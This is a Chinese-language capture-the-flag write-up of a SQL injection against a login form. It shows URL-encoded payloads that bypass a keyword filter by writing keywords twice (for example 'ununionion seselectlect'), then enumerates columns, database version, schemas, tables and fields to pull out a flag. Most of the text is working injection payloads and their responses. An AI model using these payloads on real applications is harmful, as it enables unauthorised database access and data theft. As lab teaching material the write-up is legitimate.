目录
1、测试万能密码:
1' or'1'='1 失败
2、判断字段个数
1' order by 3# "or"和"by"被过滤
3、尝试联合注入
Payload:1'union select 1#&password=1
url:username=1'union+select+1&password=aa
有回显: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1#' and password='1'' at line 1
union和select被过滤
4、尝试双写过滤
Payload :username=1'ununionion seselectlect 1#&password=1
url:username=1%27ununionion%20seselectlect%201%23&password=1
有回显: The used SELECT statements have a different number of columns
使用的SELECT语句具有不同数量的列
5、继续尝试列数
Payload:
username=1'ununionion seselectlect 1,2,3#&password=1
Url:
username=1%27ununionion%20seselectlect%201,2,3%23&password=1
有回显登录成功
说明正确的列数为三列
6、查询数据库和版本信息
Payload:
username=1'ununionion seselectlect 1,version(),database()#&password=1
Url:
username=1%27ununionion%20seselectlect%201,version(),database()%23&password=1
有回显:版本为:" 10.3.18-MariaDB! "
数据库为:"geek"
7、查询表名
Payload:
username=1'ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t
ables where table_schema=database()#&password=1
或者
username=1'ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t
ables where table_schema='geek'#&password=1
Url:
对from,or,where进行了过滤,所以需要进行双写过滤
username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom %20infoorrmation _schema.tables%20wwherehere%20table_schema=database()%23&password=1
或
username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom %20infoorrmation _schema.tables%20wwherehere%20table_schema=%27geek%27%23&password=1
有回显获得表名b4bsql,geekuser!
8、没有找到和ctf相关的内容,查找其他的数据库
Payload:
username=1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_
schema.schemata#&password=1
Url:
username=1%27ununionion%20seselectlect%201,2,group_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%23&password=1
有回显
9、查看ctf数据库中的表
Payload:
username=1'ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t
ables where table_schema='ctf'#&password=1
URL:
username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom %20infoorrmation _schema.tables%20wwherehere%20table_schema=%27ctf%27%23&password=1
有回显,存在表flag
10、查询Flag表中的字段名
Payload:
username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorr
mation_schema.columns whwhereere table_schema='ctf'#&password=1
Url:
username=1%27%20ununionion%20seselectlect%201,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema=%27ctf%27%23&password=1
有回显,字段名为flag
11、查询表中的内容
Payload:
username=1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#&password=1
Url:
username=1%27%20ununionion%20seselectlect%201,2,group_concat(flag)%20frfromom%20ctf.Flag%23&password=1
获得flag
参考内容:sql注入之union联合注入_在用户名的输入框中,通过union查询语句,猜测出前面表查询的列数。【查找注入点】-CSDN博客